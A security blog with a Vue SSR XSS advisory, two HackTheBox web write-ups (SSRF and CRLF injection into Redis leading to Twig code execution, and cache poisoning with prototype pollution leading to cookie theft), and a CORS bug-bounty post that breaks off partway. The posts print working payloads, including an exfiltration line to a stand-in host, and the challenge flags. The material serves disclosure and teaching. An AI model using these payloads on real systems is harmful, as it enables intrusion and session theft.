onevilx

XSS in Vue SSR via a Missing CR

Mon, 31 Aug 2026 00:00:00 GMT

Advisory: GHSA-g2v6-rqmx-r4w6 — published 31 August 2026
Package: @vue/server-renderer (npm, ~13.9M downloads/week)
Fixed in: 3.5.42 (and 3.6.0-rc.6) via vuejs/core#15266
Class: CWE-79 (Cross-Site Scripting), CWE-116 (Improper Encoding or Escaping of Output)
Severity: High, 7.2 (CVSS 3.1 — AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)
Affected: <= 3.5.41 (also checked and reproduced against the 3.6.0-rc.2 tag)
Status: Reported → confirmed same day → fix merged → released in 3.5.42 → advisory published

How I got here

I started by ruling out what doesn't apply rather than guessing. Vue is a rendering framework — no database access anywhere in its own code, so SQL injection is a non-starter. RCE is a stretch too; nothing in normal operation executes arbitrary system commands. XSS was the only vulnerability class that actually fits a framework whose entire job is turning data into HTML.

From there, client-side rendering only ever affects the same browser already running the app's own JavaScript — not much of a boundary to cross. @vue/server-renderer is different: its output becomes a real HTTP response body sent to other people's browsers. That's the one place in Vue where a rendering bug has genuine cross-user impact, so that's where I focused.

The asymmetry

ssrRenderDynamicAttr() builds each HTML attribute from an object's key/value pair — this is what compiled SSR output calls for something like <div v-bind="userObject">. Reading it closely surfaced an asymmetry in how the two sides are treated:

export function ssrRenderDynamicAttr(
  key: string,
  value: unknown,
  tag?: string,
): string {
  if (!isRenderableAttrValue(value)) {
    return ``
  }
  const attrKey = ...
  if (isBooleanAttr(attrKey) || ...) {
    return includeBooleanAttr(value) ? ` ${attrKey}` : ``
  } else if (isSSRSafeAttrName(attrKey)) {
    return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
  } else {
    console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
    return ``
  }
}

The value always goes through escapeHtml() — dangerous characters get converted to safe entities, consistently, everywhere in this file. The name only gets tested against a character blacklist in isSSRSafeAttrName() — no escaping, just pass or get discarded entirely:

const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/

export function isSSRSafeAttrName(name: string): boolean {
  if (attrValidationCache.hasOwnProperty(name)) {
    return attrValidationCache[name]
  }
  const isUnsafe = unsafeAttrCharRE.test(name)
  if (isUnsafe) {
    console.error(`unsafe attribute name: ${name}`)
  }
  return (attrValidationCache[name] = !isUnsafe)
}

A blacklist is only as good as the list itself. That's where the actual gap was.

The gap

That blacklist covers >, /, =, ", ', tab (\t), line feed (\n), form feed (\f), and space. It does not cover \r — carriage return.

That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream," §13.2.3.5) converts every \r not followed by \n into a \n before the tokenizer even starts. A raw \r sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser — and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it, before the browser gets to reinterpret it. That's exactly the gap.

Proving it, one step at a time

Isolate the mechanism. A minimal case first — "foo\rbar" as a key, nothing else unusual — parsed with parse5 (a real, spec-compliant HTML5 parser) to confirm the split happens at all before building anything resembling an exploit.

Build the self-triggering payload. Escalated to x\rautofocus\ronfocus against the real, unmodified, published @vue/server-renderer@3.5.41:

=== How a real HTML5 parser (parse5) interprets this ===
Attributes parsed on the <div>:
  "x" = ""
  "autofocus" = ""
  "onfocus" = "alert(document.cookie)"

The single attribute name Vue intended to render safely gets parsed as three separate things: an empty x attribute, a real autofocus boolean attribute, and a real onfocus="alert(document.cookie)" event handler. autofocus means the element receives focus automatically on page load, which fires the focus event immediately — no click, no hover, no user interaction of any kind.

Confirm it in a real browser. Wrote Vue's actual, unmodified return value programmatically into a real HTML file — no hand-typed HTML — and opened it. The payload fired on load, with no interaction:

DevTools confirms the browser genuinely parsed three separate attributes out of what Vue rendered as one name — x, src, and a live onerror handler:

Ruling out client-side rendering

I also checked whether this affects client-side (non-SSR) Vue: it doesn't. Client-side Vue sets dynamic attributes via the DOM's setAttribute() API, which validates the name against the HTML QName grammar and throws a DOMException for characters like " — a fundamentally different code path with its own validation. This is specifically and only an SSR issue.

Impact

This requires an application to bind an object whose keys — not just values — come from a source the developer doesn't fully control, via v-bind="object" or the compiled equivalent. Binding untrusted values into attributes is the standard, everyday Vue pattern, already safely handled by escapeHtml(). Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature — and exactly the scenario isSSRSafeAttrName() exists to defend, which means it was already inside the framework's own threat model for this file, just not fully closed.

Realistic shapes this takes: a CMS or form-builder where field/attribute names are configurable by a less-trusted role and rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper fed by a database record, an API response, or a query string parsed into an object.

Reporting it

Vue's disclosure policy explicitly rules out "XSS via template expressions" as in scope — I made sure to address that up front in the report itself, since this isn't that. This isn't about template source at all; it's about ordinary, documented runtime data binding, where the guard that's supposed to make untrusted data safe for that documented feature had a gap in it.

The response

Maintainer edison1105 confirmed the issue the same day:

"Exploitation requires an SSR application to pass an object with attacker-controlled property names through object-form v-bind and render the result to other users... Although this can result in XSS when those prerequisites are met, the vulnerable data flow is narrow, uncommon, and application-specific. We therefore assess the practical severity as moderate and do not believe an embargoed private-fix process is necessary. A public patch is proportionate to the actual exposure…"

No dispute on the framing, no pushback on scope — just a clear, transparent explanation of why a public (non-embargoed) fix was the right call, which is worth more than a severity number with no context behind it.

Reviewing the fix

One character added, closing the exact gap:

- const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
+ const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/

That's now the complete WHATWG "ASCII whitespace" set — tab, line feed, form feed, carriage return, space — checked as a full set instead of enumerated one character short. The PR added a regression test using the exact payload from the report. I independently re-verified the patched regex against the original payload myself before commenting — confirmed rejected, confirmed normal attribute names unaffected.

Disclosure timeline

Day 1 — Reported, with the "this isn't template-expression XSS" scope distinction addressed up front, full PoC attached.
Day 2 — edison1105 confirmed the issue, explained the public-patch reasoning, opened #15266. Fix merged to main the same day. I reviewed and independently verified the patch before it merged.
Day 18 — 3.5.42 published to npm carrying the fix; 3.6.0-rc.6 followed the next day, so the minor branch was covered before any stable 3.6 shipped. I re-ran the original payload against the published 3.5.42: the attribute is now dropped entirely, with a Skipped rendering unsafe attribute name warning. Fix confirmed effective against the real package, not just present in source.
Day 22 — advisory published as GHSA-g2v6-rqmx-r4w6, credited, with the patched version recorded as 3.5.42. The maintainer opted for a GitHub advisory without requesting a CVE. Worth knowing how that propagates: a repository advisory only reaches npm audit and Dependabot once GitHub's own review promotes it into the global advisory database, and at the time of writing it hasn't been promoted yet — so upgrading to 3.5.42 is still a deliberate move rather than something a scanner will nag you about. This write-up was explicitly pre-approved once the advisory went public.

Takeaways

A blacklist is only as complete as your cross-reference. Vue's own list looked reasonable in isolation. The gap only showed up by checking it against the actual browser parsing spec, not just trusting the enumeration.
Escaping and blacklisting are not the same guarantee. Values were escaped and safe. Names were only gated — and a gate is exactly as strong as its weakest excluded character.
Prove the mechanism before building the exploit. Isolating "foo\rbar" first, before the self-triggering payload, before a real browser confirmation, meant every escalation step had something solid under it.
State what you didn't prove, not just what you did. Ruling out client-side rendering — and saying so plainly — made the report easier to trust, not harder.

References

GHSA-g2v6-rqmx-r4w6 — this advisory
vuejs/core#15266 — the fix
WHATWG HTML Standard §13.2.3.5 — preprocessing the input stream
CWE-79 — Cross-Site Scripting
CWE-116 — Improper Encoding or Escaping of Output

Reported by Youssef Aboukir (onevilx). Thanks to edison1105 for the fast, transparent turnaround.

HTB Sitelytic — SSRF to Redis RCE

Mon, 31 Aug 2026 00:00:00 GMT

Challenge: HackTheBox — Sitelytic (Web, Hard, 1000 pts)
Flag: HTB{n3w_r0u73_t0_D_r3d1sl4nD_w0rk3r_g3t5_y0u_1n!}
Given: the full Symfony 6.1 source and a live instance
Goal: run /readflag (a program that prints the flag, owned by root)
Class: SSRF + CRLF Injection → PHP Object Injection → Twig Template Injection → Remote Code Execution
Audience: written to be followed from zero — every prerequisite is explained inline
Exploit repo: onevilx/Writeups

The idea in plain terms

Somewhere in this app there is a spot that runs a template built from user input — a classic "template injection" bug that normally means code execution. But the front door to it filters out the exact characters the attack needs, so it looks dead.

The trick of this challenge is that the same dangerous code can be reached by a completely different route. The app keeps a background job queue in Redis (a fast in-memory database). Jobs are stored as serialized PHP objects, and when the worker picks one up it rebuilds the object — and rebuilding a malicious object is itself an attack (PHP object injection). Redis is only reachable from inside the server, so I use an SSRF (I trick the server into making a request for me) plus a header-injection trick to write my malicious job straight into the queue. The worker eats it and I get command execution.

We'll build it in five moves: find the sink, see why the front door fails, find the back route, get the SSRF to talk to Redis, and fight through the protocol quirks that make it actually land.

Quick glossary (skim now, refer back later): SSTI (Server-Side Template Injection) — a template engine turns a template string into output; if attacker input becomes part of the template rather than the data, the attacker's expressions get executed on the server. Serialization / unserialize — turning an object into a string to store it, and back again. In PHP, rebuilding an object can trigger the object's own methods, which is where the danger is. SSRF (Server-Side Request Forgery) — you make the server send an HTTP request of your choosing, often to things you couldn't reach yourself (like an internal-only service). CRLF — the two invisible characters \r\n that separate lines in HTTP and many text protocols. If you can inject them into a value, you can forge extra lines. RCE (Remote Code Execution) — running your own commands on the server. The end goal.

1. The sink: a template built from user input

Here is the dangerous code (src/MessageHandler/SubscribeNotificationHandler.php):

public function __destruct()
{
    $this->twig = new \Twig\Environment(new FilesystemLoader(__DIR__ . '/../../templates'));
    $this->body = $this->twig->createTemplate(
        ...'&email='.$this->email.'">'...
    )->render();
}

createTemplate() compiles a string into a Twig template and runs it. Notice $this->email is glued into the template source itself, not passed in as a safe variable. So whatever is in email is treated as template code and executed. That's textbook SSTI. (A "sandbox" that would neuter this exists in the config file services.yaml — but it's commented out.)

Why is this method called __destruct? In PHP, __destruct() is a "magic method": it runs automatically when an object is destroyed (garbage-collected). Remember that — it's the reason the attack works even when nobody deliberately "calls" anything. Just creating this object and letting it go is enough to fire the sink.

2. Why the front door doesn't work

You can reach that handler through POST /subscribe, but the email first passes a validator, Assert\Email. By trying a bunch of addresses against the live site, I can map out exactly which characters it allows:

local part I tried	result
`{{77}}@a.com`, `a\|b@a.com`, `a'b@a.com`, a!#$%&+/=?^_`{\|}~-@a.com	200 (accepted)
`a(b)@a.com`, `a[b]@a.com`, `a b@a.com`, `a,b@a.com`, `a:b@a.com`, `"a b"@test.com`, `a@localhost`	401 (rejected)

That pattern is Symfony's "HTML5" email mode. Curly braces {}, pipes |, and quotes survive — but parentheses, brackets, spaces, and commas are rejected, and a proper domain is required.

Why does that kill the attack? Twig needs parentheses to call any function or pass any argument — system('...'), map('system'), and so on. Without parentheses, the only Twig you can write is basic tags and no-argument operations, and because this template runs in a bare, stripped-down Twig environment (no Symfony helpers like app or dump), there's nothing to pivot through. So through the front door there is genuinely no way to reach code execution. That dead end is the whole point of the challenge — the intended solution goes around the validator entirely.

3. The back route: a poisoned job in the queue

How background jobs work here. Slow work (like sending a notification) isn't done during the web request. Instead the app drops a "message" onto a queue and a separate worker process handles it later. This app's queue is Redis: MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages. The messages are stored as serialized PHP, and Symfony's default decoder does this when the worker reads one:

$envelope = $this->safelyUnserialize(stripslashes($encodedEnvelope['body']));

unserialize() is called on whatever bytes are in the queue. And unserialize() rebuilds objects — including our dangerous SubscribeNotificationHandler. Here's the beautiful part: the rebuilt object doesn't even need to be a valid queue message. The worker constructs it, notices "this isn't a real Envelope," throws it away — and when PHP throws it away, the object's __destruct() runs, firing the SSTI sink. And because this path never touches Assert\Email, parentheses are allowed again.

So the payload I want sitting in the Redis queue is a serialized object whose email field is a full Twig expression:

O:47:"App\MessageHandler\SubscribeNotificationHandler":2:{
  s:5:"email";s:N:"{{['/readflag > /www/public/static/exports/f1337.txt 2>&1']|map('system')|join(',')}}";
  s:5:"token";s:1:"x";}

Read the email value in plain English: "run the command /readflag and save its output to a file in the site's public folder." When the worker rebuilds and discards this object, Twig executes that, and /readflag's output — the flag — lands in a web-readable file I can then just download.

The only problem: Redis only listens on 127.0.0.1 (localhost). I can't connect to it from outside. I need the server to write to it for me — an SSRF.

4. Getting an SSRF to talk to Redis

There's an admin feature that fetches a URL to check if a service is up (src/Service/ServiceChecker.php):

$parsedHeaders[strtolower(trim($hKey))] = trim($hVal);
...
array_walk($this->headers, static function(&$v, $k) { $v = $k.': '.$v; });
$context = stream_context_create(["http" => ["header" => implode("\r\n", $this->headers), ...]]);
$response = @file_get_contents($this->host, false, $context);

Two gifts here:

The URL scheme check is only preg_match("/^https?/i", ...), so http://127.0.0.1:6379/ (Redis's port) passes. That's the SSRF — I can point the server's request at internal Redis.
The header values are only cleaned with trim(), which strips whitespace from the ends of a string. It does not remove \r\n from the middle. So if I put a CRLF inside a header value, I forge extra lines into the outgoing request — this is CRLF injection, and it lets me write raw Redis commands into the connection.

Wait — why does writing HTTP headers let me send Redis commands? Redis doesn't speak HTTP; it just reads whatever bytes arrive on the socket, line by line. When the server "makes an HTTP request" to Redis, Redis simply sees a stream of text. If I can control lines in that stream (via CRLF injection), I can make some of those lines be valid Redis commands. This general move — abusing one protocol's request to smuggle another protocol's commands — is why SSRF to internal services is so dangerous.

Getting to this feature needs a login, and the credentials admin:admin are sitting right in migrations/db.sql. I also confirmed the CRLF injection really works before trusting it: injecting a fake Content-Length: 10 header into a request to the site's own Apache made the call hang for 20 seconds (Apache waiting for a request body that never came) instead of the normal 0.6 seconds. That stall proved my injected line was landing in the real request.

5. The part that actually costs hours: Redis keeps hanging up

Early attempts did… nothing. Silent failure. The cause is two security features colliding:

PHP's HTTP client always adds its own Host: line to the request, before any of my headers.
Redis has a cross-protocol guard: if the first word of a line it reads is exactly post or host:, it assumes something is trying to smuggle web traffic into it and slams the connection shut with no reply.

So Redis was killing the socket the moment it hit PHP's automatic Host: line — before ever reaching my injected commands. The total silence is exactly what you'd expect from a connection closed early.

The fix is a single clever line. PHP will skip adding its own Host: if my headers already contain one, but PHP only recognizes a Host: that sits at the very start of a line:

if (s == headers || *(s-1) == '\n') return 1;   // only counts a match at a line start

So I inject the line host:zzz — note: no space after the colon. This one line does double duty:

To PHP it looks like a Host: header at the start of a line, so PHP suppresses its own — Redis never sees the poisonous host: word.
To Redis it splits on whitespace into the single word host:zzz, which is not the banned host:, so the guard stays quiet and Redis just treats it as an unknown command and moves on.

The full crafted header value looks like:

X-A: z\r\nhost:zzz\r\n<Redis XADD command>\r\nX-B: 1

The tell that it finally worked: the request stopped returning instantly and started stalling for the full socket timeout — meaning Redis was now holding the connection open and reading, instead of hanging up. I send the actual Redis commands in Redis's binary "RESP" format (rather than plain text) so that the quotes and spaces inside my PHP payload never get mangled by Redis's text-parsing rules.

6. Two dead ends worth recording

Trying to use Redis's DEBUG SLEEP as a timing signal. Modern Redis ships with DEBUG disabled by default, so "no delay = no injection" was measuring nothing at all. Don't build an oracle on a command that might be turned off.
Trusting the app's own "service is up/down" message. That check reported "down" both for a refused connection and for a successful connection that returned non-HTTP data — so it never actually distinguished reachable from unreachable. Every reliable signal had to be an out-of-band side effect (a stalled connection, a file appearing), never the app's own response text.

7. The whole chain in order

POST /admin/login              admin:admin   (found in migrations/db.sql)
POST /api/service/check        host = http://127.0.0.1:6379/
                               headers = {"X-A": "z\r\nhost:zzz\r\n<XADD ...>\r\nX-B: 1"}
   -> CRLF injection writes my lines into the request to Redis
   -> "host:zzz" hides PHP's own Host: line without tripping Redis's guard
   -> XADD drops my serialized PHP object onto the "messages" queue
the worker runs messenger:consume -> unserialize() rebuilds my object
   -> the object is discarded -> __destruct() runs -> Twig executes -> system('/readflag ...')
GET /static/exports/f1337.txt  -> read the flag out of the web-served file

One escaping detail: Symfony's encoder runs addslashes() on the message body and the decoder runs stripslashes(), so my serialized payload has to be pre-escaped to survive that round trip. And why write the flag to a file instead of getting it in a response? Because this SSRF is blind — the worker runs in the background with nowhere to send output — so I use a file in Apache's public folder as the delivery channel. The worker runs as root, so system() can do anything.

8. How the developers should have fixed it

Never concatenate input into Twig::createTemplate() — render a real template file and pass the data as variables. And enable the sandbox that's already written (but disabled) in services.yaml.
Don't use PHP's object serializer for a queue an attacker might reach; use the JSON serializer, and treat the message broker as untrusted.
Validate the SSRF target against an allowlist, and reject header values that contain \r or \n instead of merely trimming their ends.
Don't ship real credentials like admin:admin in migration files.

The thread running through this solve: never trust a single signal. The CRLF injection, the Host:-suppression trick, and the Redis write were each proven by an independent, out-of-band effect before the next step was built on top of it. On a blind, multi-stage chain like this, that discipline is the difference between progress and staring at silence.

HTB Regregious — Cache Poisoning to XSS

Mon, 31 Aug 2026 00:00:00 GMT

Challenge: HackTheBox — Regregious (Web, Medium, 1000 pts)
Flag: HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}
Given: the full source code and a live instance
Class: Web Cache Poisoning → Prototype Pollution → Cross-Site Scripting (XSS)
Audience: written to be followed even if this is your first real web chain
Exploit repo: onevilx/Writeups

The idea in plain terms

There is a bot — an automated Chrome browser — that logs into the target site and holds the flag in one of its cookies. My job is to run JavaScript inside that bot's browser, read the cookie, and get it back out to me.

Three separate weaknesses stand between me and that goal, and none of them is enough on its own:

A shared cache lets me leave a booby-trapped response where the bot will pick it up.
A sloppy settings-merge in the page's JavaScript lets that response quietly rewrite defaults deep inside the JavaScript engine.
A quirk of the jQuery library turns those rewritten defaults into an actual <script> tag that runs my code.

Then a fourth trick reuses weakness #1 backwards to carry the stolen cookie home. Let's build it one piece at a time.

New to this? A few terms up front. Cookie — a small string the browser stores for a site and sends on every request; it's how a site remembers you're logged in. XSS (Cross-Site Scripting) — getting your own JavaScript to run inside someone else's page/session. If you can do that in the bot's browser, you can do anything the bot can, including read its cookies. httpOnly — a flag that hides a cookie from JavaScript. If it's set, document.cookie can't see it. Here it is not set, which is why reading the flag with JavaScript is even possible.

1. Where the flag lives, and the wall in front of it

The bot's script (bot.js) shows exactly what it does:

// bot.js
const cookies = [{ 'name': 'flag', 'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}' }];

await page.goto('http://127.0.0.1:1337/');
await page.setCookie(...cookies);
await page.goto('http://127.0.0.1:1337/', { waitUntil: 'networkidle2' });
await page.evaluate(() => document.querySelector('#buildStubBtn').click());
await page.waitForTimeout(3000);

Reading it plainly: the bot sets a flag cookie, loads the site's home page, and clicks a button (#buildStubBtn). The cookie has no httpOnly, so if I can run JavaScript in that page, document.cookie will hand me the flag. So this is an XSS challenge. I also learn the bot is kicked off by a request to GET /api/stub/build coming from any IP that isn't localhost.

Here is the wall. The bot is logged in as itself. Everything it sees on the page is the bot's own data. Anything I save while poking the site is saved under my account, in my session — the bot never sees it. Normal application flow gives me no way to put anything in front of the bot. Breaking through that wall is the entire challenge, and it needs the first bug.

2. Bug 1 — poisoning a shared cache

What is a cache? To avoid recomputing the same response over and over, servers often save a response and reuse it. Each saved response is filed under a cache key — a label built from parts of the request (often the URL). Next time a request comes in with a matching key, the server skips the work and returns the saved copy. The security rule is simple: the key must uniquely identify who the response belongs to. If two different users can produce the same key but deserve different responses, one user can be served the other's data — or plant data for them. That's cache poisoning.

Here's the caching code (routes/index.js):

cacheKey = `_${req.headers.host}_${req.url}_${(req.headers['x-forwarded-for'] || req.ip)}`;
if (cache.has(cacheKey)) return res.send(JSON.parse(cache.get(cacheKey)));
return db.getUser(req.data.username).then(user => {
    cache.set(cacheKey, user.settings);      // saved for 60 seconds
    res.send(JSON.parse(user.settings));
});

Look at what the key is made of: Host, the URL, and X-Forwarded-For.

Host and X-Forwarded-For are just request headers — text the client sends and can set to anything. Host says which site you're asking for; X-Forwarded-For (XFF) is supposed to record the original client IP when a request passes through a proxy. Neither is trustworthy, because the person sending the request writes them.

So the key is built entirely from values I control, and — critically — it does not include the username or session. But the body it stores (user.settings) is per-user. That is the bug: the cache treats "same key" as "same response", while the response actually depends on who's logged in.

Now, what key does the bot produce? The bot always talks to Host: 127.0.0.1:1337 and sends no X-Forwarded-For, so the server falls back to req.ip, which is 127.0.0.1 (the app listens on all interfaces and doesn't trust proxy headers). Its key is therefore fixed and knowable in advance:

_127.0.0.1:1337_/api/settings_127.0.0.1

If I send GET /api/settings while spoofing Host: 127.0.0.1:1337 and X-Forwarded-For: 127.0.0.1, I generate that exact key — and the server saves my settings under the bot's slot. When the bot later loads the page and its code fetches /api/settings, it gets a cache hit and reads my JSON instead of its own.

And my settings are whatever I want: they're stored with JSON.stringify(req.body) and never validated. I now have a way to hand the bot arbitrary JSON. The wall is down. Next I need that JSON to do something.

3. Bug 2 — prototype pollution in the settings merge

The 30-second version of prototype pollution. In JavaScript, almost every object shares one common parent object called Object.prototype. When you read obj.foo and obj doesn't have foo, JavaScript looks up the parent chain and checks Object.prototype.foo. So if an attacker can write to Object.prototype, they set a default that leaks into every object that doesn't override it. The magic word is __proto__: for most objects, obj.__proto__ is Object.prototype. So writing to something.__proto__.x writes a global default x. Getting untrusted data into a .__proto__ path is "prototype pollution."

The page merges the fetched settings into its form state (static/js/main.js):

const mergeSettings = (target, source) => {
	for (let key in source) {
		if ((typeof target[key] === 'object') && (typeof source[key] === 'object')) {
			mergeSettings(target[key], source[key]);
		} else {
			target[key] = source[key];
		}
	}
	return target;
};
...
$.get('/api/settings', (savedSettings) => {
	userSettings = mergeSettings(getSettings($('#builder-form')), savedSettings);

This is a recursive merge: for each key in source, if both sides are objects it dives deeper; otherwise it copies the value across. There is no check that rejects the dangerous keys __proto__, constructor, or prototype. And source is the JSON I now control (from bug 1).

Two details make this fire:

for...in sees __proto__. Normally __proto__ is a hidden accessor, but when a key comes from JSON.parse, JavaScript creates it as a plain, enumerable, own property — so the for (let key in source) loop actually visits it.
The recursion targets the prototype. When key is "__proto__", both target["__proto__"] and source["__proto__"] are objects, so the merge recurses with target now pointing at Object.prototype. Every key inside my nested object gets written onto Object.prototype — i.e. becomes a global default on nearly every object in the page.

So by controlling the JSON, I can set arbitrary global defaults inside the bot's page. That's powerful, but it isn't code execution yet. I need a place where one of those planted defaults gets used as something dangerous. That place is jQuery.

4. Bug 3 — turning a polluted default into a running script

The button the bot clicks runs this:

$.ajax({ url: '/api/stub/build', type: 'get', success: ..., error: ... });

$.ajax is jQuery's function for making HTTP requests. You pass it a settings object (URL, method, and options like dataType — the kind of response you expect). Anything you don't specify falls back to a default. And here's the connection: because of bug 2, "falls back to a default" now means "falls back to a value I planted on Object.prototype." This call sets no dataType and no scriptAttrs, so both are inherited straight from my pollution.

Why does that matter? Because one of jQuery's built-in ways to handle a response is the script transport — it takes the response and loads it as a <script>. jQuery decides to use it when dataType is "script", and the transport looks like this (from jquery-3.6.0.min.js):

ajaxTransport("script", function(n) {
  if (n.crossDomain || n.scriptAttrs)
    return { send: function(e, t) {
      r = S("<script>").attr(n.scriptAttrs || {})
                       .prop({ charset: n.scriptCharset, src: n.url })
      ...

Read what it does: it creates a <script> element and calls .attr(n.scriptAttrs) — which sets each key of scriptAttrs as an HTML attribute on that script tag. HTML attributes include event handlers like onload and onerror, and an event handler attribute is executable JavaScript. So if I pollute scriptAttrs with an onload, jQuery builds:

<script src="/api/stub/build" onload="MY_JAVASCRIPT_HERE"></script>

and the browser runs my JavaScript when that tag loads. Two subtleties I relied on:

The if only needs crossDomain or scriptAttrs to be truthy — so a planted scriptAttrs alone is enough to enter the branch.
I don't control the body of /api/stub/build (it's fixed JSON), but I don't need to — the payload lives in the attribute, not the response body. I set both onload and onerror so it fires no matter how the browser treats that JSON response.

The settings JSON I poison the bot's cache with is therefore:

{"__proto__": {
   "dataType": "script",
   "crossDomain": true,
   "scriptAttrs": {"onload": "<payload>", "onerror": "<payload>"}
}}

Why keep it to just three keys? Everything I add to Object.prototype becomes a visible default on every object, and lots of library code loops over object keys. Pollute too much and you break the page before the button is ever clicked. Minimal pollution = the page still works, and only my intended sink notices.

5. Getting the cookie back — without an attacker server

The textbook exfiltration is fetch('//my-server/?c=' + document.cookie). That needs the bot's container to have outbound internet and needs me to run a server to catch it. In this challenge the box has no outbound network. So instead I run the cache bug backwards as my delivery channel.

My injected JavaScript, running inside the bot, does two things:

fetch('/api/settings', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({leak: document.cookie})            // step A: write the flag into the BOT's own row
}).then(() => fetch('/api/settings', {
  headers: {'X-Forwarded-For': 'pwnkey1337'}               // step B: cache it under a label I chose
}));

Step A saves the flag into the bot's own settings row on the server.
Step B requests /api/settings again with a brand-new X-Forwarded-For value. That's a new cache key, so it misses the cache; the server reads the bot's row (now holding the flag) and saves it under _127.0.0.1:1337_/api/settings_pwnkey1337.

Now I simply request that exact key from my own machine, and the cache hands me the bot's data — flag included.

Why is the browser allowed to send these requests? They go to the same site the bot is already on (same-origin), so there's no CORS permission needed and no preflight. X-Forwarded-For isn't on the browser's list of banned ("forbidden") headers, so JavaScript is allowed to set it. And cookies ride along automatically, which the site's auth check requires. The general lesson: any cache whose key you control but whose body belongs to the victim can be used both to plant data and to smuggle data out.

6. The whole chain in order

1. GET  /                      -> get a normal session cookie for myself
2. POST /api/settings          -> save the __proto__ payload as my settings
3. GET  /api/settings          Host: 127.0.0.1:1337   XFF: 127.0.0.1
                               -> my payload is now sitting in the bot's cache slot
4. GET  /api/stub/build        -> from a non-localhost IP, so the bot launches
5. the bot loads /, its code fetches /api/settings and hits my poisoned cache
   -> the sloppy merge pollutes Object.prototype with my scriptAttrs
   -> the bot clicks #buildStubBtn -> $.ajax picks the script transport
   -> <script src=/api/stub/build onload="..."> runs my JavaScript
   -> the flag is POSTed into the bot's row, then cached under my chosen key
6. GET  /api/settings          Host: 127.0.0.1:1337   XFF: pwnkey1337
                               -> the flag comes back to me

The exploit is written with Python's http.client (standard library) so I can set the Host header independently of the machine I actually connect to. It landed on the first attempt — the cache's 60-second lifetime leaves plenty of margin for a bot that finishes in about four seconds.

7. Dead ends worth knowing about

$(\[name=${key}]`)in the settings-restore code *looks* like it might let me inject HTML through a selector, but jQuery only treats a string as HTML when it **starts with<**. This string always starts with [`, so it's harmless.
I can't make the pollution fire on the /api/settings response itself (e.g. by asking for it as a script), because the pollution comes from that response — it isn't in effect yet when that response arrives. The gadget has to land on the later /api/stub/build request, which is exactly why the payload must live in an attribute rather than a response body.
The bot loads the page twice, but prototype pollution doesn't survive a page navigation. Only the second load — the one where the flag cookie is set — matters.

8. How the developers should have fixed it

Cache key: include the identity the response belongs to (session or username), and never build a key out of Host or X-Forwarded-For unless a trusted proxy has already sanitized them.
Merge: reject the keys __proto__, constructor, and prototype; or use a safe technique like Object.create(null), structuredClone, or a vetted deep-merge library.
Settings: validate incoming settings against a schema instead of storing the raw request body.
Defense in depth: a Content Security Policy without unsafe-inline would have blocked the inline onload handler, and marking the flag cookie httpOnly would have neutralized the whole cookie-theft class.

One habit that made this smooth: the entire chain was confirmed by reading the shipped source before sending any requests — every link, right down to grepping jquery-3.6.0.min.js for scriptAttrs to be sure the script transport behaved as I expected. Understand the target first, and the exploit tends to work on the first try.

Credentialed CORS via localhost Reflection

Fri, 14 Aug 2026 00:00:00 GMT

Program: Private bug bounty program (vendor undisclosed at their request) Asset: Backend API host for a B2B SaaS application Class: CWE-942 — Overly Permissive Cross-domain Policy Reported severity: High (CVSS 3.1 8.2) → Accepted as Low Status: Reported → triaged → accepted Note: Every hostname, route, header and JSON key in this post has been generalised at the vendor's request. The behaviour described is real; the identifiers are not.

Why CORS is usually a waste of time

Most bug bounty programs put "CORS misconfiguration" straight on the out-of-scope list, and they're usually right to. The overwhelming majority of reports are Access-Control-Allow-Origin: * on an endpoint that returns a public list of countries. No credentials, no session, nothing to steal — a scanner finding dressed up as a vulnerability.

This program was no different. Its exclusion list read:

CORS misconfiguration on endpoints that don't return sensitive data

That qualifier is the entire opening. The program isn't saying "we don't care about CORS" — it's saying "don't send us reflections on endpoints with nothing behind them." Which means the whole job is to find one where there is something behind it, and to argue that point explicitly rather than leave it to the triager.

So I skipped the marketing and docs hosts entirely and went looking for the one API that had a session behind it and something worth reading.

The target

The platform ships an in-app AI assistant — the kind that sits in a sidebar, has access to your workspace data, and holds an ongoing conversation. That immediately makes it interesting: conversation history is about as sensitive as application data gets. People paste internal metrics, customer names, and half-finished strategy into these things.

The assistant is served by a separate API host from the main application, which is exactly the sort of split where CORS policy tends to get looser — a different service, a different team, a config written to "just make the frontend work."

The reflection

The first thing worth checking on any credentialed API is whether the origin is reflected rather than allowlisted:

GET /[ai-assistant] HTTP/2
Host: api.[REDACTED]
Origin: http://localhost:3000
Cookie: session=<victim session JWT>

HTTP/2 200
Access-Control-Allow-Origin: http://localhost:3000
Access-Control-Allow-Credentials: true

Both halves matter, and neither is a finding on its own:

Access-Control-Allow-Origin echoing back the request's Origin means there is no allowlist being enforced at all for that value.
Access-Control-Allow-Credentials: true is what makes it readable. Without it, the browser will send the request but refuse to hand the response body to the calling page.

The spec deliberately forbids combining * with credentials for exactly this reason. Reflecting a specific origin is the workaround developers reach for when they want the wildcard's convenience and cookies — and it re-introduces precisely the risk the prohibition exists to prevent.

The third ingredient was the session cookie itself: it was set SameSite=None, so it rides along on any cross-origin fetch(..., { credentials: 'include' }). SameSite=Lax would have blunted this considerably.

The header that nearly hid it

Here's the part that made this more than a five-minute find. My first requests didn't return data at all — just a 400 and a short JSON error saying a required application identifier was missing.

The endpoint required a custom header — call it App-Id — and refused the request without it. On a first pass that reads like an access control: an application-scoped identifier that an attacker on some other origin wouldn't know.

It isn't. The server only checked that the header was present, never that the value was correct or that it belonged to the caller:

App-Id: <the real application id>   ->  200, full data
App-Id: 0                           ->  200, full data
App-Id: 999999                      ->  200, full data

